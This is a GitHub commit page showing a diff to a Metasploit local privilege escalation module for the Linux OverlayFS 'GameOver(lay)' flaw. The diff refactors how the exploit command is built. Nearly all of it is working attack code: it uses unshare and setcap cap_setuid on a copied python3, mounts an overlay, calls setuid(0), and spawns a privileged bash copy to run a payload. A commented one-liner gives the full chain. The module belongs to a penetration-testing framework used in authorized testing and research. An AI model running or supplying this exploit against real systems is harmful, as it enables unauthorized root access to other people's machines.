Skip to content

Commit c6425f7

Browse files
Break out command building to make it easier to read
Update modules/exploits/linux/local/gameoverlay_privesc.rb Co-authored-by: Brendan <[email protected]>
1 parent e506c34 commit c6425f7

File tree

1 file changed

+19
-13
lines changed

1 file changed

+19
-13
lines changed

modules/exploits/linux/local/gameoverlay_privesc.rb

Lines changed: 19 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@ class MetasploitModule < Msf::Exploit::Local
66
include Msf::Post::File
77
include Msf::Exploit::FileDropper
88

9-
109
def initialize(info = {})
1110
super(
1211
update_info(
@@ -157,18 +156,25 @@ def exploit
157156
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
158157

159158
# Exploit overlayfs vuln
160-
hack = "unshare -rm sh -c \" cd #{pay_dir} && cp #{pay} l/; setcap cap_setuid+eip l/#{pay_file};
161-
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*\""
162-
163-
164-
print_status "Running exploit:\n'#{hack}'\n"
165-
print_status(cmd_exec_with_result(hack).to_s)
166-
167-
# Trigger payload
168-
trigger = "cp #{pay_dir}u/#{pay_file} /home/ubuntu/test_payload; chmod +x #{pay_dir}u/#{pay_file} && #{pay_dir}u/#{pay_file}"
169-
170-
print_status "Triggering payload: #{trigger}"
171-
print_status(cmd_exec_with_result(trigger).to_s)
159+
# Build the command
160+
161+
exploit_cmd = 'unshare -rm sh -c "'
162+
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
163+
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
164+
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
165+
exploit_cmd << "touch #{merge_dir}*; \" && "
166+
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
167+
exploit_cmd << "\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
168+
exploit_cmd << "chmod +x #{payload_cmd} && " unless target.arch.first == ARCH_CMD
169+
exploit_cmd << "#{bash_copy} -p -c "
170+
exploit_cmd << payload_cmd
171+
exploit_cmd << ' && ' unless target.arch.first == ARCH_CMD
172+
exploit_cmd << " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}\")'"
173+
174+
vprint_status(exploit_cmd.to_s)
175+
176+
output = cmd_exec(exploit_cmd)
177+
print_status(output)
172178
end
173179

174180
end

0 commit comments

Comments
 (0)